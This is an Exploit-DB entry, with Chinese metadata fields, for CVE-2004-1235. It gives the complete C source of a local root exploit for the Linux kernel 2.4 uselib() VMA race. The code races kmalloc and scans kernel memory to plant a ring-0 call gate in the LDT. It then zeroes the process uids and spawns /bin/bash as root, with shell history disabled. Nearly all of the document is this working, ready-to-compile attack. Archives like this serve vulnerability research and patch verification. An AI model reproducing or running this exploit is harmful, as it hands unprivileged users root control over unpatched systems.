标题: Linux Kernel 2.4.29-rc2 - 'uselib()' Local Privilege Escalation (1) EDB-ID: 744 CVE: 2004-1235 类型: LOCAL 平台: LINUX 发布日期: 2005-01-07 漏洞利用脚本: /*
*   EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
*/
 
/*
 * binfmt_elf uselib VMA insert race vulnerability
 * v1.08
 *
 * gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


// temp lib location
#define LIBNAME  "/dev/shm/_elf_lib"

// shell name
#define SHELL  "/bin/bash"

// time delta to detect race
#define RACEDELTA 5000

// if you have more deadbabes in memory, change this
#define MAGIC  0xdeadbabe


// do not touch
#define SLAB_THRSH 128
#define SLAB_PER_CHLD (INT_MAX - 1)
#define LIB_SIZE ( PAGE_SIZE * 4 )
#define STACK_SIZE ( PAGE_SIZE * 4 )

#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE ( LDT_ENTRIES-1 )
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS ( ENTRY_GATE-2 )
#define SEL_LCS  ( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS ( ENTRY_GATE-1 )
#define SEL_LDS  ( (ENTRY_LDS<<3)|0x04 )

#define kB  * 1024
#define MB  * 1024 kB
#define GB  * 1024 MB

#define TMPLEN  256
#define PGD_SIZE ( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
 val = 0,
 go = 0,
 finish = 0,
 scnt = 0,
 ccnt=0,
 delta = 0,
 delta_max = RACEDELTA,
 map_flags = PROT_WRITE|PROT_READ;


static int
 fstop=0,
 silent=0,
 pidx,
 pnum=0,
 smp_max=0,
 smp,
 wtime=2,
 cpid,
 uid,
 task_size,
 old_esp,
 lib_addr,
 map_count=0,
 map_base=0,
 map_addr,
 addr_min,
 addr_max,
 vma_start,
 vma_end,
 max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
   "HISTFILE=/dev/null",
   NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday __NR_gettimeofday
#define __NR_sys_sched_yield __NR_sched_yield
#define __NR_sys_madvise __NR_madvise
#define __NR_sys_uselib  __NR_uselib
#define __NR_sys_mmap2  __NR_mmap2
#define __NR_sys_munmap  __NR_munmap
#define __NR_sys_mprotect __NR_mprotect
#define __NR_sys_mremap  __NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

 r=t2->tv_sec - t1->tv_sec;
 r*=1000000;
 r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

 if(!errno) {
  fprintf(stdout, "\n[-] FAILED: %s ", message);
 } else {
  fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
   (char*) (strerror(errno)) );
 }
 if(critical)
  printf("\nCRITICAL, entering endless loop");
 printf("\n");
 fflush(stdout);

 unlink(libname);
 kill(cpid, SIGKILL);
 for(;;) kill(0, sig);
}


// try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
 finish=1;

 for(;;) {
  errno = 0;

// check if raced:
recheck:
  if(!go) sys_sched_yield();
  sys_gettimeofday(&tm2, NULL);
  delta = tmdiff(&tm1, &tm2);
  if(!smp_max && delta < (unsigned)delta_max) goto recheck;
  smp = smp_max;

// check if lib VMAs exist as expected under race condition
recheck2:
  val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
  if(val) continue;
  errno = 0;
  val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
    LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  if( !val || (val<0 && errno!=ENOMEM) ) continue;

// SMP?
  smp--;
  if(smp>=0) goto recheck2;

// recheck race
  if(!go) continue;
  finish++;

// we need to free one vm_area_struct for mmap to work
  val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
  if(val) fatal("mprotect", 0);
  val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(-1==val) fatal("mmap2 race", 0);
  printf("\n[+] race won maps=%d", map_count); fflush(stdout);
  _exit(0);
 }

return 0;
}


int callme_1()
{
 return val++;
}


inline int valid_ptr(unsigned ptr)
{
 return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

 if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
  t=(unsigned*)p[3];
  if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
   return 1;
 }
 return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

// find & reset uids
 while(addr[0] != uid || addr[1] != uid ||
       addr[2] != uid || addr[3] != uid)
  addr++;

 addr[0] = addr[0] = addr[2] = addr[3] = 0;
 addr[4] = addr[5] = addr[6] = addr[7] = 0;

// find & correct VMA
 for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
  if( validate_vma(addr, vma_start, vma_end) ) {
   addr[1] = task_size - PAGE_SIZE;
   addr[2] = task_size;
   break;
  }
 }
}


void kcode(void);


void __kcode(void)
{
asm(
 "kcode:      \n"
 " pusha     \n"
 " pushl %es    \n"
 " pushl %ds    \n"
 " movl $(" xstr(SEL_LDS) ") ,%edx \n"
 " movl %edx,%es   \n"
 " movl %edx,%ds   \n"
 " movl $0xffffe000,%eax  \n"
 " andl %esp,%eax   \n"
 " pushl %eax    \n"
 " call kernel_code   \n"
 " addl $4, %esp   \n"
 " popl %ds    \n"
 " popl %es    \n"
 " popa     \n"
 " lret     \n"
    );
}


int callme_2()
{
 return val + task_size + addr_min;
}


void sigfailed(int v)
{
 ccnt++;
 fatal("lcall", 1);
}


// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

 printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
 unlink(libname);

 r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
 if(r) fatal("mprotect 1", 1);

// check if really LDT
 v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
 signal(SIGSEGV, sigfailed);
 r = *v;
 if(r != MAGIC) {
  printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
  fatal("find LDT", 1);
 }

// yeah, setup CPL0 gate
 v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
 v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
 printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
 v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
 v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
 v[1] = 0x00cf9b00;

 v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
 v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
 v[1] = 0x00cf9300;

// reprotect to get only one big VMA
 r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
 if(r) fatal("mprotect 2", 1);

// CPL0 transition
 sys_sched_yield();
 val = callme_1() + callme_2();
 asm("lcall $" xstr(SEL_GATE) ",$0x0");
 if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
  printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
 } else {
  printf("\n[-] uid change failed" ); fflush(stdout);
  sigfailed(0);

 }
 signal(SIGTERM, SIG_IGN);
 kill(0, SIGTERM);
 execl(shellname, "sh", NULL);
 fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


// kernel page table scan code
void scan_mm()
{
 map_addr -= PAGE_SIZE;
 if(map_addr <= (unsigned)addr_min)
  scan_mm_start();

 scnt=0;
 val = *(int*)map_addr;
 scan_mm_finish();
}


void scan_mm_finish()
{
retry:
 __asm__("movl %0, %%esp" : :"m"(old_esp) );

 if(scnt) {
  pagemap[pidx] ^= 1;
 }
 else {
  sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
 }
 pidx--;
 scan_mm();
 goto retry;
}


// make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

 pnum++;
 if(pnum==1) {
  pidx = max_page-1;
 }
 else if(pnum==2) {
  memset(&l, 0, sizeof(l));
  l.entry_number = LDT_ENTRIES-1;
  l.seg_32bit = 1;
  l.base_addr = MAGIC >> 16;
  l.limit = MAGIC & 0xffff;
  l.limit_in_pages = 1;
  if( modify_ldt(1, &l, sizeof(l)) != 0 )
   fatal("modify_ldt", 1);
  pidx = max_page-1;
 }
 else if(pnum==3) {
  npg=0;
  for(pidx=0; pidx<=max_page-1; pidx++) {
   if(pagemap[pidx]) {
    npg++;
    fflush(stdout);
   }
   else if(npg == LDT_PAGES) {
    npg=0;
    try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
   } else {
    npg=0;
   }
  }
  fatal("find LDT", 1);
 }

// save context & scan page table
 __asm__("movl %%esp, %0" : :"m"(old_esp) );
 map_addr = addr_max;
 scan_mm();
}


// return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

 fp = fopen("/proc/slabinfo", "r");
 if(!fp)
  fatal("get_slab_objs: fopen", 0);
 fgets(name, sizeof(name) - 1, fp);
 do {
  c = u = a = -1;
  if (!fgets(line, sizeof(line) - 1, fp))
   break;
  c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
      &d, &d, &d, &d);
 } while (strcmp(name, sn));
 close(fileno(fp));
 fclose(fp);
 return c == 7 ? a - u : -1;
}


// leave one object in the SLAB
inline void prepare_slab()
{
int *r;

 map_addr -= PAGE_SIZE;
 map_count++;
 map_flags ^= PROT_READ;

 r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
 if(MAP_FAILED == r) {
  fatal("try again", 0);
 }
 *r = map_addr;
}


// sig handlers
void segvcnt(int v)
{
 scnt++;
 scan_mm_finish();
}


// child reap
void reaper(int v)
{
 ccnt++;
 waitpid(0, &v, WNOHANG|WUNTRACED);
}


// sometimes I get the VMAs in reversed order...
// so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
 map_flags = 0;
 check_vma_flags();
}


void check_vma_flags()
{
 if(map_flags) {
  __asm__("movl %%esp, %0" : :"m"(old_esp) );
 } else {
  __asm__("movl %0, %%esp" : :"m"(old_esp) );
  goto out;
 }
 signal(SIGSEGV, vreversed);
 val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


// use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

// printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

// helper clone
 finish=0; ccnt=0;
 sz = sizeof(cstack) / sizeof(cstack[0]);
 cpid = clone(&raceme, (void*) &cstack[sz-16],
   CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
 if(-1==cpid) fatal("clone", 0);

// synchronize threads
 while(!finish) sys_sched_yield();
 finish=0;
 if(!silent) {
  printf("\n"); fflush(stdout);
 }

// try to hit the kmalloc race
 for(;;) {

  r = get_slab_objs("vm_area_struct");
  while(r != 1) {
   prepare_slab();
   r--;
  }

  sys_gettimeofday(&tm1, NULL);
  go = 1;
  r=sys_uselib(libname);
  go = 0;
  if(r) fatal("uselib", 0);
  if(finish) break;

// wipe lib VMAs and try again
  r = sys_munmap(lib_addr, LIB_SIZE);
  if(r) fatal("munmap lib", 0);
  if(ccnt) goto failed;

  if( !silent && !(pcnt%64) ) {
   printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
   fflush(stdout);
  }
  pcnt++;
 }

// seems we raced, free mem
 r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
 if(r) fatal("munmap 1", 0);
 r = sys_munmap(lib_addr, PAGE_SIZE);
 if(r) fatal("munmap 2", 0);

// relax kswapd
 sys_gettimeofday(&tm1, NULL);
 for(;;) {
  sys_sched_yield();
  sys_gettimeofday(&tm2, NULL);
  delta = tmdiff(&tm1, &tm2);
  if( wtime*1000000U <= (unsigned)delta ) break;
 }

// we need to check the PROT_EXEC flag
 map_flags = PROT_EXEC;
 check_vma_flags();
 if(!map_flags) {
  printf("\n    VMAs reversed"); fflush(stdout);
 }

// write protect brk's VMA to fool vm_enough_memory()
 r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
    PROT_READ|map_flags);
 if(-1==r) { fatal("mprotect brk", 0); }

// this will finally make the big VMA...
 sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
 r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
   LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
 if(r) fatal("madvise", 0);
 r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
   PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
 if(-1==r) {
  if(0==sz) {
   fatal("mremap: expand VMA", 0);
  } else {
   sz -= PAGE_SIZE;
   goto expand;
  }
 }
 vma_start = lib_addr + PAGE_SIZE;
 vma_end = vma_start + sz + 2*PAGE_SIZE;
 printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
 fflush(stdout);

// try to figure kernel layout
 signal(SIGCHLD, reaper);
 signal(SIGSEGV, segvcnt);
 signal(SIGBUS, segvcnt);
 scan_mm_start();

failed:
 fatal("try again", 0);

}


// make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

// make our elf library
 umask(022);
 unlink(libname);
 fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
 if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
 memset(&eh, 0, sizeof(eh) );

// elf exec header
 memcpy(eh.e_ident, ELFMAG, SELFMAG);
 eh.e_type = ET_EXEC;
 eh.e_machine = EM_386;
 eh.e_phentsize = sizeof(struct elf_phdr);
 eh.e_phnum = 1;
 eh.e_phoff = sizeof(eh);
 write(fd, &eh, sizeof(eh) );

// section header:
 memset(&eph, 0, sizeof(eph) );
 eph.p_type = PT_LOAD;
 eph.p_offset = 4096;
 eph.p_filesz = 4096;
 eph.p_vaddr = lib_addr;
 eph.p_memsz = LIB_SIZE;
 eph.p_flags = PF_W|PF_R|PF_X;
 write(fd, &eph, sizeof(eph) );

// execable code
 lseek(fd, 4096, SEEK_SET);
 memset(tmpbuf, 0x90, sizeof(tmpbuf) );
 write(fd, &tmpbuf, sizeof(tmpbuf) );
 close(fd);
}


// move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

 old_esp &= ~(PAGE_SIZE-1);
 old_esp -= PAGE_SIZE;
 task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
 r = sys_munmap(old_esp, task_size-old_esp);
 if(r) fatal("unmap stack", 0);

// setup rt env
 uid = getuid();
 lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
 if(map_base)
  map_addr = map_base;
 else
  map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
 printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
  old_esp, task_size, map_base); fflush(stdout);

// check physical mem & prepare
 sysinfo(&si);
 addr_min = task_size + si.totalram;
 addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
 addr_max = addr_min + si.totalram;
 if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
  addr_max = 0xffffd000;

 printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
 max_page = (addr_max - addr_min) / PAGE_SIZE;
 pagemap = malloc( max_page + 32 );
 if(!pagemap) fatal("malloc pagemap", 1);
 memset(pagemap, 0, max_page + 32);

// go go
 make_lib();
 exploitme();
}


// move stack down #1
void prepare()
{
unsigned p=0;

 environ = myenv;

 p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
         MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
 if(-1==p) fatal("mmap2 stack", 0);
 p += STACK_SIZE - 64;

 __asm__("movl %%esp, %0 \n"
  "movl  %1, %%esp \n"
  : : "m"(old_esp), "m"(p)
 );

 prepare_finish();
}


void chldcnt(int v)
{
 ccnt++;
}


// alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

 __asm__("movl %%esp, %0" : : "m"(old_esp) );

 old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
 old_esp = map_base? map_base : old_esp;

 for(;;) {
  if(left<=0)
   left = get_slab_objs("vm_area_struct");
  if(left <= SLAB_THRSH)
   break;
  left--;

  map_flags ^= PROT_READ;
  old_esp -= PAGE_SIZE;
  r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
   MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
  if(MAP_FAILED == r)
   break;

  if(c>SLAB_PER_CHLD)
   break;
  if( (c%1024)==0 ) {
   if(!c) printf("\n");
   printf("\r    child %d VMAs %d", val, c);
   fflush(stdout);
  }
  c++;
 }
 printf("\r    child %d VMAs %d", val, c);
 fflush(stdout);
 kill(getppid(), SIGUSR1);
 for(;;) pause();
}


// empty SLAB caches
void wipe_slab()
{
 signal(SIGUSR1, chldcnt);
 printf("\n[+] SLAB cleanup"); fflush(stdout);
 for(;;) {
  ccnt=0;
  val++;
  cpid = fork();
  if(!cpid)
   do_wipe();

  while(!ccnt) sys_sched_yield();
  if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
   break;
 }
 signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
 printf("\nUsage: %s\t-f forced stop\n", n);
 printf("\t\t-s silent mode\n");
 printf("\t\t-c command to run\n");
 printf("\t\t-n SMP iterations\n");
 printf("\t\t-d race delta us\n");
 printf("\t\t-w wait time seconds\n");
 printf("\t\t-l alternate lib name\n");
 printf("\t\t-a alternate addr hex\n");
 printf("\n");
 _exit(1);
}


// give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

 while(ac) {
  r = getopt(ac, av, "n:l:a:w:c:d:fsh");
  if(r<0) break;

  switch(r) {

  case 'f' :
   fstop = 1;
   break;

  case 's' :
   silent = 1;
   break;

  case 'n' :
   smp_max = atoi(optarg);
   break;

  case 'd':
   if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
    fatal("bad delta value", 0);
   break;

  case 'w' :
   wtime = atoi(optarg);
   if(wtime<0) fatal("bad wait value", 0);
   break;

  case 'l' :
   libname = strdup(optarg);
   break;

  case 'c' :
   shellname = strdup(optarg);
   break;

  case 'a' :
   if(1!=sscanf(optarg, "%x", &map_base))
    fatal("bad addr value", 0);
   map_base &= ~(PGD_SIZE-1);
   break;

  case 'h' :
  default:
   usage(av[0]);
   break;
  }
 }

// basic setup
 uid = getuid();
 setpgrp();
 wipe_slab();
 prepare();

return 0;
}

// milw0rm.com [2005-01-07] URL: https://www.exploit-db.com/exploits/744